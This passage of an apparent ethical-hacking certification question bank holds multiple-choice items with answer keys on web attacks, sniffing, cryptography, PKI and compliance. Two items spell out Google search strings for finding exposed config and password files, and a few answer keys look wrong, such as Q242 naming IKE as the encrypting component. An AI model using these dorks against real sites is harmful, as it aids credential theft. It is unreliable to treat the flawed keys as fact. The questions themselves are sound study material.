send traffic to the server “on the victim’s behalf”. You are “forging a request” that appears to
legitimately come from the user, even though the user has no idea what’s happening.

A. Cross-site scripting
B. Cross-site request forgery
C. Server side request forgery
D. Session hijacking
Answer: B
 125

Why should you remove or disable unnecessary ISAPI

filters?
ISAPI filters are DLL files that can modify incoming or outgoing data to a Microsoft IIS webserver.
Among other things, they can sanitize incoming data to protect against many common threats.
Be sure to disable unnecessary ISAPI filters though because some of the default filters have
known vulnerabilities.

A. To defend against jailbreaking

B. To defend against social engineering attacks
C. To defend against wireless attacks
D. To defend against webserver attacks Answer: D
 126

Many antivirus programs will analyze potential viruses

by executing them in a virtual machine to simulate
CPU and memory activities. They do this to see how
the code interacts with the VM. Which type of virus
detection method is this?
Most antivirus programs that utilize heuristic analysis perform this function by executing the
programming commands of a questionable program or script within a specialized virtual
machine, thereby allowing the anti-virus program to internally simulate what would happen if
the suspicious file were to be executed, while keeping the suspicious code isolated from the
real-world machine.

A. Code emulation
B. Heuristic analysis
C. Scanning
D. Integrity checking Answer: B
 127

What type of firewall could protect against a SQL

injection attack?

A. Web application firewall

B. Stateful firewall
C. Data-driven firewall
D. Packet firewall Answer: A
 128

Which OS did the Shellshock vulnerability NOT

directly affect?

A. Windows
B. Linux
C. OS X
D. Unix Answer: A
 129

What is it called when you do an injection attack

based on true/false questions?

A. Classic SQLi
B. Blind SQLi
C. Compound SQLi
D. DMS-specific SQLi Answer: B
 130

Which of these acts requires employers to list their

standard national numbers on all transactions?

A. SOX
B. HIPAA
C. PCI-DSS
D. DMCA Answer: B
 131

You’ve just been alerted by the HIDS that the server

has been breached. After calling the incident
response team, they’ve instructed you not to power
off the server and that they are on the way.
Why did they tell you not to power off the server?
A. This will alert the attacker that they’ve been discovered,
prompting them to delete data or install ransomware before
their foothold in the network is severed.
B. The incident response team needs to retrieve information
stored in volatile memory such as RAM.
C. Actually, the correct procedure in this case is to power off
the server. This helps prevent the attacker from spreading
deeper into the network.
D. The attacker may have placed a logic bomb, which will
trigger when the shutdown command is issued. Answer: B
 132

After reviewing the database access logs, you see

signs that indicate a data breach has occurred.
Because of this an incident is declared. During the
evidence gathering and handling phase of the
incident response, what is the most important thing
to do?
A. Creating detailed notes about lessons learned from the
incident
B. Recording what is discussed at every incident response
meeting
C. Reviewing the evidence in careful detail to identify the
attacking hosts
D. Recording the date and time when evidence is gathered, and
the location where the evidence is stored Answer: D
 133

What is the name for a tool that can receive event

logs from workstations, servers, network equipment
and applications, and then can correlate those logs
and generate alarms for an security issues found?
SIEM (Security Incident and Event Monitoring) software acts as a “tactical dashboard” to
monitor and correlate all the security events across your enterprise. Examples include systems
by NAGIOS, Splunk, and McAffee.

A. Intrusion Prevention Server

B. Vulnerability Scanner
C. Network Sniffer
D. Security Incident and Event Monitoring Answer: D
 134

What is the role of test automation in security

testing?

A. It is an option but it tends to be very expensive.

B. Test automation is not usable in security due to the
complexity of the tests.
C. It can accelerate benchmark tests and repeat them
with a consistent setup. But it cannot replace manual
testing completely.
D. It should be used exclusively. Manual testing is
outdated because of low speed and possible test
setup inconsistencies.
Answer: C
 135

Susan got an e-mail with a file attached. The file was

disguised as a Word document, but the extension
ended with .[Link]. Susan ran the attachment but
got an error message. In the background the file
began to beacon to a C2 server to download more
malicious files. What type of malware is this?

A. Trojan
B. Key-logger
C. Macro virus
D. Worm Answer: A
 136

When referring to the field of cryptanalysis, what is a

“rubber-hose” attack?

A. Attempting to decrypt ciphertext by making logical

assumptions about the contents of the original plaintext
B. Extraction of cryptographic secrets through coercion or
torture
C. A backdoor placed into a cryptographic algorithm by its
creator
D. Forcing the targeted keystream through a hardware-
accelerated device such as an ASIC Answer: B
 137

While doing a pen-test you stand outside the

entrance to the building pretending to have an
argument while on your cell-phone. After an
authorized employee badges in, you grab the door as
it begins to close. What are you doing here?

A. Whaling
B. Tailgating
C. Masquerading
D. Phishing Answer: B
 138

Which of these should you do if your backup tapes

contain sensitive information, such as credit-card
numbers?

A. Hire a security consultant to provide direction.

B. Back up the hashes of the credit card numbers, not
the actual credit card numbers.
C. Do not back up either the credit card numbers nor
their hashes.
D. Encrypt the backup tapes that are sent off-site.
Answer: D
 139

Why are containers less secure than VM’s?

A Virtual Machine is an entire “sandboxed” operating system. A container is a “sandboxed”

application, but all the containers run on the same host OS. A single compromised container
could affect the host OS, which then would lead to compromise of the entire machine and all of
its containers. A compromised VM, on the other hand, would only affect that one VM and not
affect the others.

A. Host OS on containers has a larger attack surface.

B. Containers may fill disk space of the host.
C. A compromised container may cause a CPU
starvation of the host.
D. Containers are attached to the same virtual
network. Answer: C
 140

Which type of SQL injection uses conditional timing

delays to determine if the queries are successful or
not?

Generally with a blind SQL injection you have to use inference to arrive at your results. A blind
injection attack will ask a series of true/false questions (boolean). How then, do you arrive at
useful info if you aren’t getting a response of true or false? You could construct a statement that
says something like “if true, do this process (which takes a bit of time) and give me some
requested data, but if false, don’t do that process (which is much quicker)”. By timing how long
it takes to get the response, you can tell if the condition was true or false.

A. Error-based SQL injection

B. NoSQL injection
C. Blind SQL injection
D. Union-based SQL injection Answer: C
 141

Some types of antivirus software identifies malware

by gathering data across many protected hosts, then
sends that data to a provider’s environment instead of
analyzing files locally. Which type of detection
technique is this?

A. Cloud based
B. Honeypot based
C. Behavioral based
D. Heuristics based
Answer: A
 142

What is the difference between phishing and

pharming attacks?
A. Both pharming and phishing attacks are identical.
B. Both pharming and phishing attacks are purely technical and
are not considered forms of social engineering.
C. In a phishing attack a victim is redirected to a fake website
by modifying their host configuration file or by exploiting
vulnerabilities in DNS. In a pharming attack an attacker
provides the victim with a URL that is either misspelled or
looks very similar to the actual website domain name.
D. In a pharming attack a victim is redirected to a fake website
by modifying their host configuration file or by exploiting
vulnerabilities in DNS. In a phishing attack an attacker
provides the victim with a URL that is either misspelled or
looks very similar to the actual website domain name.
Answer: D
 143

What does it mean when you get a DEP (Data

Execution Protection) error?

A. Malicious code is attempting to execute instructions in

a non-executable memory region.
B. Malware is executing in either ROM or a cache
memory area.
C. A race condition is being exploited, and the operating
system is containing the malicious process.
D. A page fault is occurring, which forces the operating
system to write data from the hard drive. Answer: A
 144

Which of these is concerned with CDE’s (Cardholder

Data Environments)?

A. ISO 27001
B. HIPAA
C. PCI
D. SOX Answer: C
 145

A Business Associate Agreement (BAA) is a legal

contract that lists details on how to handle certain
types of data and the specific security requirements
for that data. What regulation requires a Business
Associate Agreement for some vendors?
Under HIPAA, a Business Associate Agreement (BAA) is a contract between a HIPAA-covered
entity and a HIPAA business associate (BA). The contract protects PHI (Personal Health
Information) in accordance with HIPAA guidelines.

A. PCI
B. HIPAA
C. ISO 27001
D. SOX Answer: B
 146

Which of these is the best way to secure backup tapes

while taking them to an off-site location?

A. Degauss the backup tapes and transport them in a

lock box
B. Encrypt the backup tapes and transport them in a
lock box.
C. Hash the backup tapes and transport them in a
lock box.
D. encrypt the backup tapes and use a courier to
transport them. Answer: B
 147

LDAP has trouble representing many-to-one

relationships because it uses a ______ database
structure, as compared to SQL’s ______ structure.

A. Simple, Complex
B. Relational, Hierarchical
C. Hierarchical, Relational
D. Strict, Abstract Answer: C
 148

If your employees keep sharing passwords with each

other, which of these would be the best first step in
making employees understand the importance of
keeping sensitive information a secret?

A. Warnings to those who write passwords on post-it

notes and leave them on their desks.
B. Information security awareness training.
C. Developing a strict information security policy.
D. Conducting a one to one discussion with
employees about the importance of information
security. Answer: B
 149

After assessing the risk of a breach in your web

application, you find there is a 40% chance of breach.
You implement some controls and now find that the
risk of a breach is down to 15%, while your risk
threshold for the web application is at 25%. Which of
these risk strategies will you most likely employ to
continue operations with the most business profit?

A. Avoid the risk

B. Mitigate the risk
C. Accept the risk
D. Introduce more controls to bring the risk to 0%
Answer: C
 150

In one type of an attack, the hacker sends the victim

to a website that contains an interesting looking URL
with a link to some funny internet memes. Unknown
to the victim, the hacker has created a transparent
‘iframe’ in front of the URL. The victim tries to click
the URL, but he is really just clicking the content or
URL in the transparent iframe instead. Which type of
attack is this?

A. HTTP parameter pollution

B. HTML injection
C. Clickjacking attack
D. Session fixation Answer: C
 151

Bob is doing a pen-test for BigCorp. He sends a specially

crafted e-mail to an employee at BigCorp. The e-mail
header looks like this:
From: fred_smith@[Link]
To: sally_thompson@[Link]
Subject: Test test test
Date: 2/14/2016 11:15
Sally Thompson at BigCorp receives the e-mail, which
must mean their e-mail gateway doesn’t prevent which of
these? (Select TWO possible answers)

A. Email spoofing
B. Email harvesting
C. Email masquerading
D. Email phishing Answer: AC
 152

For PCI compliance, which of these would best fit

under the objective “implement strong access control
measures”?

A. Assign a unique ID to each person with computer

access.
B. Regularly test security systems and processes.
C. Encrypt transmission of cardholder data across open,
public networks.
D. Use and regularly update anti-virus software on all
systems commonly affected by malware.
Answer: A
 154

When dealing with a particular hashing algorithm,

which property makes it less likely the algorithm will
create the same hash result for multiple different
source messages?

A. Collision resistance
B. Bit length
C. Key strength
D. Entropy Answer: A
 155

What does a firewall inspect to stop specific ports and

programs from sending traffic in to your company?

A. Application layer port numbers and the transport layer

headers
B. Network layer headers and the session layer port
numbers
C. Presentation layer headers and the session layer port
numbers
D. Transport layer port numbers and the application layer
headers Answer: D
 156

Bob has obtained a session ID from another user’s

website session. Bob spoofs his IP address and re-
plays the session ID trying to impersonate the other
user. Why is Bob not able to get an interactive session
here?

A. Bob cannot spoof his IP address over TCP network

B. The scenario is incorrect as Bob can spoof his IP and get
responses
C. The server will send replies back to the spoofed IP address
D. Bob can establish an interactive session only if he uses a NAT
Answer: C
 157

What must you develop to show that security at your

company has improved over the last year?

A. Reports
B. Testing tools
C. Metrics
D. Taxonomy of vulnerabilities Answer: C
 158

Which type of password attack pulls passwords from a

list of commonly used passwords until the correct
password is found or the list is exhausted?

A. Man-in-the-middle attack
B. Brute-force attack
C. Dictionary attack
D. Session hijacking Answer: C
 159

Which of these is the best solution for sending

encrypted e-mails if you don’t want to have to pay
any money or manage a server?

A. IP Security (IPSEC)
B. Multipurpose Internet Mail Extensions (MIME)
C. Pretty Good Privacy (PGP)
D. Hyper Text Transfer Protocol with Secure Socket Layer
(HTTPS) Answer: C
 160

How would you classify an operating-system

fingerprinting method where you send traffic to the
remote device and analyze the responses?

A. Passive
B. Reflective
C. Active
D. Distributive Answer: C
 161

A Certificate Authority (CA) creates a pair of keys to

secure data in-transit. The integrity of the encrypted
data depends on the security of which of these?

A. Public key
B. Private key
C. Modulus length
D. Email server certificate Answer: B
 162

WiFi most commonly uses which antenna?

A. Omnidirectional
B. Parabolic
C. Uni-directional
D. Bi-directional Answer: A
 163

Which of these PKI components actually verifies the

applicant?

A. Certificate authority
B. Validation authority
C. Registration authority
D. Verification authority Answer: C
 164

Which of these is the most solid example of IP

spoofing?

A. SQL injections
B. Man-in-the-middle
C. Cross-site scripting
D. ARP poisoning Answer: D
 165

Which protocol do smart-cards use to transfer

certificates?

A. Extensible Authentication Protocol (EAP)

B. Point to Point Protocol (PPP)
C. Point to Point Tunneling Protocol (PPTP)
D. Layer 2 Tunneling Protocol (L2TP) Answer: A
 166

Which of these programming languages is commonly

vulnerable to buffer overflows?

A. Perl
B. C++
C. Python
D. Java Answer: B
 167

Which of the following is a symmetric cryptographic

standard?

A. DSA
B. PKI
C. RSA
D. 3DES Answer: D
 168

What is the primary drawback to using advanced

encryption standard (AES) algorithm with a 256 bit
key to share sensitive data?

A. Due to the key size, the time it will take to encrypt and decrypt the message hinders
efficient communication.

B. To get messaging programs to function with this algorithm requires complex

configurations.

C. It has been proven to be a weak cipher, therefore, should not be trusted to protect
sensitive data.

D. It is a symmetric key algorithm, meaning each recipient must receive the key
through a different channel than the message.
Answer: D
 169

Which of the following processes of PKI (Public Key

Infrastructure) ensures that a trust relationship exists
and that a certificate is still valid for specific
operations?

A. Certificate issuance
B. Certificate validation
C. Certificate cryptography
D. Certificate revocation Answer: B
 170

Advanced Encryption Standard is an algorithm used

for which of the following?

A. Data integrity
B. Key discovery
C. Bulk data encryption
D. Key recovery Answer: C
 171

While checking the settings on the internet browser, a

technician finds that the proxy server settings have
been checked and a computer is trying to use itself as
a proxy server. What specific octet within the subnet
does the technician see?

A. [Link]
B. [Link]
C. [Link]
D. [Link] Answer: B
 172

After gaining access to the password hashes used to

protect access to a web based application, knowledge
of which cryptographic algorithms would be useful to
gain access to the application?

A. SHA1
B. Diffie-Helman
C. RSA
D. AES Answer: A
 173

One advantage of an application-level firewall is the

ability to..

A. filter packets at the network level.

B. filter specific commands, such as http:post.
C. retain state information for each packet.
D. monitor tcp handshaking. Answer: B
 174

A hacker was able to sniff packets on a company's

wireless network. The following information was
discovered.
The Key 10110010 01001011
The Cyphertext 01100101 01011010

Using the Exlcusive OR, what was the original

message?

A. 00101000 11101110
B. 11010111 00010001
C. 00001101 10100100
D. 11110010 01011011 Answer: B
 175

Which of the following techniques will identify if

computer files have been changed?

A. Network sniffing
B. Permission sets
C. Integrity checking hashes
D. Firewall alerts Answer: C
 176

Why shouldn’t we just use the longest possible key

and strongest possible algorithm when selecting an
encryption algorithm?

A. Overhead

B. If an algorithm such as Rijndael is chosen for AES it has been cracked and is probably
useless.

C. The longest possible unbreakable key is a “one- time pad”, but the length of a
message is not always known in advance, therefore the best solution is a passphrase
that makes a longer key.

D. This question cannot be answered because there are so many variables and
complicated factors involved and there just isn’t enough information provided.
Answer: A
 177

How does traceroute map the route a packet travels

from point A to point B?

A. Uses a TCP timestamp packet that will elicit a time exceeded in transit
message
B. Manipulates the value of the time to live (TTL) within packet to elicit a time
exceeded in transit message
C. Uses a protocol that will be rejected by gateways on its way to the
destination
D. Manipulates the flags within packets to force gateways into generating error
messages
Answer: B
 178

Which of the following countermeasures can

specifically protect against both the MAC Flood and
MAC Spoofing attacks?

A. Configure Port Security on the switch

B. Configure Port Recon on the switch
C. Configure Switch Mapping
D. Configure Multiple Recognition on the switch
Answer: A
 179

What does ICMP (type 11, code 0) denote?

A. Source Quench
B. Destination Unreachable
C. Time Exceeded
D. Unknown Type Answer: C
 180

How do you defend against DHCP Starvation attack?

A. Enable ARP-Block on the switch

B. Enable DHCP snooping on the switch
C. Configure DHCP-BLOCK to 1 on the switch
D. Install DHCP filters on the switch to block this attack
Answer: B
 181

Neil is a network administrator working in Istanbul.

Neil wants to setup a protocol analyzer on his
network that will receive a copy of every packet that
passes through the main office switch. What type of
port will Neil need to setup in order to accomplish
this?

A. Neil will have to configure a Bridged port that will copy all packets
to the protocol analyzer.
B. Neil will need to setup SPAN port that will copy all network traffic
to the protocol analyzer.
C. He will have to setup an Ether channel port to get a copy of all
network traffic to the analyzer.
D. He should setup a MODS port which will copy all network traffic.
Answer: B
 182

Attackers footprint target Websites using Google Hacking

techniques. (creating complex search string queries) The
configuration file contains both a username and a
password for an SQL database. Most sites with forums
run a PHP message base. This file gives you the keys to
that forum, including FULL ADMIN access to the database.
WordPress uses [Link] that stores the database
Username and Password.
Which of the below Google search string brings up sites
with "[Link]" files?

A. Search:index config/php
B. Wordpress:index [Link]
C. intitle:[Link] [Link]
D. [Link]:index list Answer: C
 183

Which of the following Exclusive OR transforms bits is

NOT correct?

A. 0 xor 0 = 0
B. 1 xor 0 = 1
C. 1 xor 1 = 1
D. 0 xor 1 = 1 Answer: C
 184

What is a successful method for protecting a router

from potential smurf attacks?

A. Placing the router in broadcast mode

B. Enabling port forwarding on the router
C. Installing the router outside of the network's firewall
D. Disabling the router from accepting broadcast ping messages
Answer: D
 185

How do you defend against ARP Spoofing? Select

three.

A. Use ARPWALL system and block ARP spoofing attacks

B. Tune IDS Sensors to look for large amount of ARP traffic on
local subnets
C. Use private VLANS
D. Place static ARP entries on servers, workstations, and routers
Answer: A,C,D
 186

Which of the following statements about vulnerability

scanners is NOT correct?

A. Vulnerability scanners attempt to identify vulnerabilities in

the hosts scanned.
B. Vulnerability scanners can help identify out-of-date software
versions, missing patches, or system upgrades
C. They can validate compliance with or deviations from the
organization's security policy
D. Vulnerability scanners can identify weakness and
automatically fix and patch the vulnerabilities without user
intervention
Answer: D
 187

How can you prevent MAC spoofing and/or ARP

poisoning on all the Cisco switches in your network?

A. Use the command ip binding set.

B. Use the command no ip spoofing.
C. Use the command no dhcp spoofing.
D. Use the command ip dhcp snooping binding.
Answer: D
 188

How many bits is the hash value of SHA-1?

A. 64 bits
B. 128 bits
C. 256 bits
D. 160 bits Answer: D
 189

What is a sniffing performed on a switched network

called?

A. Spoofed sniffing
B. Passive sniffing
C. Direct sniffing
D. Active sniffing Answer: D
 190

While logging traffic on your network you notice a

number of packets being directed to an internal IP
from an outside IP where the packets are ICMP and
their size is around 65,536 bytes. What is going on?

A. The ICMP packets are being sent in a manner that

is attempting IP spoofing.
B. This is a Smurf attack.
C. This is not unusual; ICMP packets can be of any
size.
D. This is a Ping Of Death attack. Answer: D
 191

In an ARP packet, what is the destination MAC

address of the broadcast frame?

A. 0xFFFFFFFFFFFF
B. 0xDDDDDDDDDDDD
C. 0xAAAAAAAAAAAA
D. 0xBBBBBBBBBBBB Answer: A
 192

While performing a ping sweep of a local subnet you

receive an ICMP reply of Type 3/Code 13 for all the
pings you have sent out. What is the most likely cause
of this?

A. The firewall is dropping the packets

B. An in-line IDS is dropping the packets
C. A router is blocking ICMP
D. The host does not respond to ICMP packets Answer: C
 193

Which is a type of encryption algorithm that

transforms a fixed-length block of plaintext data into a
block of ciphertext data of the same length?

A. Stream Cipher
B. Block Cipher
C. Bit Cipher
D. Hash Cipher Answer: B
 194

What type of encryption does WPA2 use?

A. DES 64 bit
B. AES-CCMP 128 bit
C. MD5 48 bit
D. SHA 160 bit Answer: B
 195

A digital signature is simply a message that is

encrypted with the public key instead of the private
key.

A. true
B. false

Answer: B
 196

Which type of sniffing technique is generally referred

to as a MiTM attack? Choose the BEST answer.

A. Password Sniffing
B. ARP Poisoning
C. Mac Flooding
D. DHCP Sniffing Answer: B
 197

Which of the following encryption is NOT based on

block cipher?

A. DES
B. Blowfish
C. AES (Rijndael)
D. RC4 Answer: D
 198

What is the length of an MD5 hash?

A. 32 character
B. 64 byte
C. 48 char
D. 128 kb Answer: A
 199

How do you defend against ARP Poisoning attack?

(Select 2 answers)

A. Enable DHCP Snooping Binding Table

B. Restrict ARP Duplicates
C. Enable Dynamic ARP Inspection
D. Enable MAC snooping Table Answer: AC
 200

A hacker gained entry into a building and was able to

install a sniffer program in a switched environment
network. Which attack could the hacker use to sniff all
of the packets in the network?

A. Fraggle
B. MAC Flood
C. Smurf
D. Tear Drop Answer: B
 201

Which of the following techniques can be used to

mitigate the risk of an on-site attacker from
connecting to an unused network port and gaining full
access to the network? (Choose three.)

A. Port Security
B. IPSec Encryption
C. Network Admission Control (NAC)
D. 802.1q Port Based Authentication
E. 802.1x Port Based Authentication
F. Intrusion Detection System (IDS) Answer: ACE
 202

How is sniffing broadly categorized?

A. Active and passive

B. Broadcast and unicast
C. Unmanaged and managed
D. Filtered and unfiltered Answer: A
 203

Which of the following is a protocol that is prone to a

man-in-the-middle (MITM) attack and maps a 32-bit
address to a 48-bit address?

A. ICPM
B. ARP
C. RARP
D. ICMP Answer: B
 204

Which of the following is an example of an

asymmetric encryption implementation?

A. SHA1
B. PGP
C. 3DES
D. MD5 Answer: B
 205

Which of the following is a characteristic of Public Key

Infrastructure (PKI)?

A. Public-key cryptosystems are faster than

symmetric-key cryptosystems.
B. Public-key cryptosystems distribute public-keys
with digital signatures.
C. Public-key cryptosystems do not require a secure
key distribution channel.
D. Public-key cryptosystems do not provide technical
non-repudiation via digital signatures.
Answer: B
 206

Symmetric key cryptography uses which of the

following?

A. Multiple keys for non-repudiation of bulk data

B. Different keys on both ends of the transport medium
C. Bulk encryption for data transmission over fiber
D. The same key on each end of the transmission medium
Answer: D
 207

What is it called when a copy of your private key is

stored so that it can be restored if you happen to lose
it, and to also provides your employer with access in
case you should leave the company?

A. Key registry
B. Recovery agent
C. Directory
D. Key escrow Answer: D
 208

TCP packets transmitted in either direction after the

initial three-way handshake will have which of the
following bit set?

A. SYN flag
B. ACK flag
C. FIN flag
D. XMAS flag Answer: B
 209

Your company uses wireless MAC filtering to only

allow company laptops to connect to the wireless
network. You find that an employee has connected his
personal laptop to the corporate wireless network.
You perform a site survey and find no new wireless
network signals. How was he able to connect to the
company wireless network?

A. He brute forced the MAC address ACLs

B. His laptop shares a hardware address with a company laptop
C. He connected to a rogue access point
D. He spoofed the MAC address of a company laptop
Answer: D
 210

How can an attacker perform a DOS with a TCP SYN

attack against a victim?

A. Attacker generates TCP SYN packets with random destination addresses

towards a victim host
B. Attacker floods TCP SYN packets with random source addresses towards a
victim host
C. Attacker generates TCP ACK packets with random source addresses towards
a victim host
D. Attacker generates TCP RST packets with random source addresses towards
a victim host Answer: B
 211

Switches maintain a CAM Table that maps individual

MAC addresses on the network to physical ports on
the switch. In MAC flooding attack, a switch is fed
with many Ethernet frames, each containing different
source MAC addresses, by the attacker. Switches have
a limited memory for mapping various MAC addresses
to physical ports. What happens when the CAM table
becomes full?
A. Switch then acts as hub by broadcasting packets to all machines on the
network
B. The CAM overflow table will cause the switch to crash causing Denial of
Service
C. The switch replaces outgoing frame switch factory default MAC address of
FF:FF:FF:FF:FF:FF
D. Every packet is dropped and the switch sends out SNMP alerts to the IDS
port Answer: A
 212

Which key does the Heartbleed bug leave exposed on

a web server?

A. Root
B. Public
C. Private
D. Shared Answer: C
 213

Which of these is designed to verify and authenticate

the identity of individuals taking part in a data
exchange?

A. SOA
B. Single sign-on
C. PKI
D. biometrics Answer: C
 214

PGP, SSL, and IKE are all examples of which type of

cryptography?

A. Public Key
B. Secret Key
C. Hash Algorithm
D. Digest Answer: A
 215

Which device is the best example of operating using

the concept of “separation of duties”?

A. Intrusion Detection System

B. Bastion host
C. Honeypot
D. Firewall Answer: B
 216

Which asymmetric algorithm factors the product of

two large prime numbers?

A. RC5
B. MD5
C. RSA
D. SHA Answer: C
 217

Your wireless NIC can see the wireless network, but

can’t connect. You sniff the wireless traffic and can
see that the WAP is not responding to the association
requests being sent by the wireless NIC. What could
the problem be?

A. The client cannot see the SSID of the wireless network

B. The wireless client is not configured to use DHCP
C. The WAP does not recognize the client’s MAC address
D. Client is configured for the wrong channel Answer: C
 218

What is a "Collision attack”?

A. Collision attacks try to break the hash into two

parts, with the same bytes in each part to get the
private key
B. Collision attacks try to break the hash into three
parts to get the plaintext value
C. Collision attacks try to find two inputs producing
the same hash
D. Collision attacks try to get the public key
Answer: C
 219

If you want to use IPSec within your LAN, and you

want to assure the confidentiality of the data being
transmitted, which mode should you use?

A. ESP transport mode

B. ESP confidential
C. AH Tunnel mode
D. AH permiscuous Answer: A
 220

Which wireless security protocol was made useless

back in 2007 by capturing wireless packets and
discovering the key in just a few seconds?

A. Temporal Key Integrity Protocol (TKIP)

B. Wired Equivalent Privacy (WEP)
C. Wi-Fi Protected Access (WPA)
D. Wi-Fi Protected Access 2 (WPA2) Answer: B
 221

Which protocol would let you guess a sequence

number to become a man-in-the-middle?

A. UPX
B. TCP
C. ICMP
D. UDP Answer: B
 222

Hacker Joe tries to send IRC traffic out of the company

over TCP port 80. This traffic gets blocked, however, HTTP
traffic is allowed out through the firewall. What type of
firewall is inspecting this traffic?

If both IRC and HTTP are using port 80, but the IRC is
blocked and HTTP allowed, something must be inspecting
the payload itself and not just the port numbers. An
Application-layer (layer 7) firewall can do this.
A. Circuit
B. Stateful
C. Application
D. Packet Filtering Answer: C
 223

What kind of firewall checks to make sure that

incoming packets are part of an established session?

A. Circuit-level firewall
B. Application-level firewall
C. Switch-level firewall
D. Stateful inspection firewall Answer: D
 224

Which tool is being described here? It’s an 802.11

WEP and WPA-PSK keys cracking program that can
recover keys once enough data packets have been
captured. It implements the standard FMS attack
along with some optimizations like KoreK attacks, as
well as the PTW attack, thus making the attack much
faster compared to other WEP cracking tools.

A. Airguard
B. WLAN-crack The above description is right from
C. Wificracker [Link]
D. Aircrack-ng Answer: D
 225

Which of these is the newer replacement for SSL?

A. TLS
B. IPSec
C. GRE
D. RSA Answer: A
 226

You’ve configured your web browser to automatically

delete browser cookies when you close the browser.
Which attack attempt are you trying to mitigate here?

A. ..to access the user and password information stored

in the company SQL database
B. ..to determine the user’s web browser usage patterns,
including when sites were visited and for how long
C. ..to access passwords stored on the user’s computer
without the user’s knowledge
D. ..to access web sites that trust the web browser’s user
by stealing the user’s authentication credentials
Answer: D
 227

While doing online banking your URL bar has this

string:
“[Link]
=5265&Yamount=98”
You do some testing and figure out that if you alter
the Xamount and Yamount values, the web page
reflects the changes. Which of these vulnerabilities
does this web site have?

A. Web parameter tampering

B. SQL injection
C. XSS reflection
D. Cookie tampering Answer: A
 228

Which of these commands will let you search for files

using Google?

If you include filetype:suffix in your query, Google will restrict the

results to pages whose names end in suffix. For example, [ web
page evaluation checklist filetype:pdf ] will return Adobe Acrobat
pdf files that match the terms “web,” “page,” “evaluation,” and
“checklist.”

A. inurl: [Link] filename:xls username password email

B. Site: [Link] filetype:xls username password email
C. Site: [Link] file:xls username password email
D. Domain: [Link] archive:xls username password email
Answer: B
 229

Which is the best description for how ARP (Address

Resolution Protocol) works?

A. It sends request packets to all the network elements,

asking for the MAC address from a specific IP
B. It sends a reply packet for a specific IP, asking for the
MAC address
C. It sends a request packet to all the network elements,
asking for the domain name from a specific IP
D. It sends a reply packet to all the network elements,
asking for the MAC address from a specific IP Answer: A
 230

Your large company wants to implement biometric

authentication. Which of these is the least likely
physical attribute to use for this?

A. Fingerprints
B. Height and Weight
C. Voice
D. Iris patterns Answer: B
 231

XOR these two binary values and select the cipher-

text from the answers.

10110001
00111010

A. 10111100
B. 10011101
C. 11011000
D. 10001011 Answer: D
 232

Which does hashing provide?

A. Confidentiality
B. Integrity
C. Availability
D. Authentication Answer: B
 233

Which of these is a popular short-range wireless

technology that allows mobile devices like phones,
tablets, and laptops to communicate, while still
remaining relatively secure?

A. Radio-Frequency Identification (RFID)

B. Infrared
C. Bluetooth
D. WLAN Answer: C
 234

Which of these programs could infect both your boot

sector and your executable files at the same time?

A. Macro virus
B. Stealth virus
C. Multipartite virus
D. Polymorphic virus
E. Metamorphic virus Answer: C
 235

After establishing a TCP session, computers A & B are

exchanging data. You use tcpdump to intercept a packet
going from A to B. The packet contains the following data:
[Link]. 17768729
(next [Link]. 17768885)
[Link]. 82980070
Window 8700
LEN = 156 bytes of data
What are the next sequence and acknowledgement
numbers that B will send back to A?

A. Sequence number: 82980070 Acknowledgement number: 17768885

B. Sequence number: 17768729 Acknowledgement number: 82980070
C. Sequence number: 87000070 Acknowledgement number: 85320085
D. Sequence number: 82980010 Acknowledgement number: 17768885
Answer: A
 236

IPSec is a suite of protocols that does all of the

following except..
IPSec can work in either AH mode or ESP mode. In the older AH mode, it authenticates the
sender and provides an integrity check for the data. ESP mode does all of this, but also adds
encryption to the mix to protect the payload as well as the headers (if it’s in Tunnel mode).

A. Authenticate
B. Protect the payload and the headers
C. Work at the Data Link layer
D. Encrypt Answer: C
 237

Passive network sniffing can achieve all of the

following except which?

When you modify and then re-play the traffic back onto the wire, you’ve moved past passive
sniffing and now you are doing “active” actions. Passive is merely “watching” and recording, and
does not involve sending any traffic.

A. Capturing network traffic for analysis

B. Collecting unencrypted information about usernames and
passwords
C. Modifying and replaying captured network traffic
D. Identifying operating systems, services, protocols, and devices
Answer: C
 238

Digital signatures must meet which conditions?

A. Must be unforgeable and has to be authentic

B. Must be unique and have special characters
C. Has to be the same number of characters as a physical
signature and must be unique
D. Has to be legible and neat Answer: A
 239

Which technique can reveal the OS of your target

system?

A. UDP scanning
B. IDLE/IPID scanning
C. Banner grabbing
D. SSDP scanning Answer: C
 240

Choose the best way to protect against network traffic

sniffing.

A. Use static IP addresses.

B. Use encryption protocols to secure network
communications.
C. Register all machine’s MAC addresses into a
centralized database.
D. Restrict physical access to server rooms hosting critical
servers.
Answer: B
 241

Which protocol can secure communications between

two devices using a VPN?

A. SET
B. PEM
C. IPSEC
D. PPP Answer: C
 242

Which component of IPSEC performs the functions

necessary to encrypt & decrypt packets?

A. IPsec driver
B. Internet Key Exchange (IKE)
C. IPsec Policy agent
D. Oakley Answer: B
 243

Your junior admin states that your company doesn’t need

a DMZ if the firewall is configured to only allow access to
servers and ports that can have direct internet access,
and access to workstations is blocked. He says that a DMZ
is only needed when a stateful firewall is used, and since
your company only uses a stateless firewall, you don’t
need a DMZ. Which is the true statement here:
Your junior admin needs more training. ANY time you let outside traffic in, you restrict it to the
DMZ only. For example, if you employ answer B and only allow outside traffic to one IP, what if
that server gets compromised? The attacker could then pivot and attack the rest of the network.
By restricting outside traffic to the DMZ only, any compromise can’t reach the internal LAN.

A. He is completely wrong. A DMZ is always relevant when the company has

internet servers and workstations.
B. He is partially right. You don’t need to separate networks if you can create
rules by destination IP’s, one by one.
C. He is partially right. DMZ does not make sense when a stateless firewall is
available.
D. He can be right since a DMZ does not make sense when combined with
stateless firewalls. Answer: A
 244

Your admins and managers at your branch offices

often plug in to the various ethernet ports at those
offices. You don’t want regular employees to use
these wired ethernet ports though. What is the BEST
way to restrict access to these ethernet ports to only
admins and authorized individuals?
With 802.1x you can control access to the network by authorizing only specific user accounts to
access these ports.

A. Ask everyone else to only use the wireless

network.
B. Disable unused ports in the switches.
C. Separate employees into a different VLAN.
D. Use the 802.1x protocol. Answer: D
 245

What’s the best way to protect the data on your

laptop while traveling?

A. Password protected files

B. Disk encryption
C. BIOS encryption
D. Hidden folders Answer: B
 246

At which layer of the OSI model do sniffers operate?

Sniffers usually work at layer 2 of the OSI model. Your NIC grabs frames off the wire. While it's
true that you can then see all the upper layer protocols, the "grabbing" of packets works via
your NIC, which is layer 2. There are other types of sniffers like network-taps that operate at
layer 1, but most commonly sniffing occurs at layer 2.

A. Layer 1
B. Layer 2
C. Both layer 2 & Layer 3
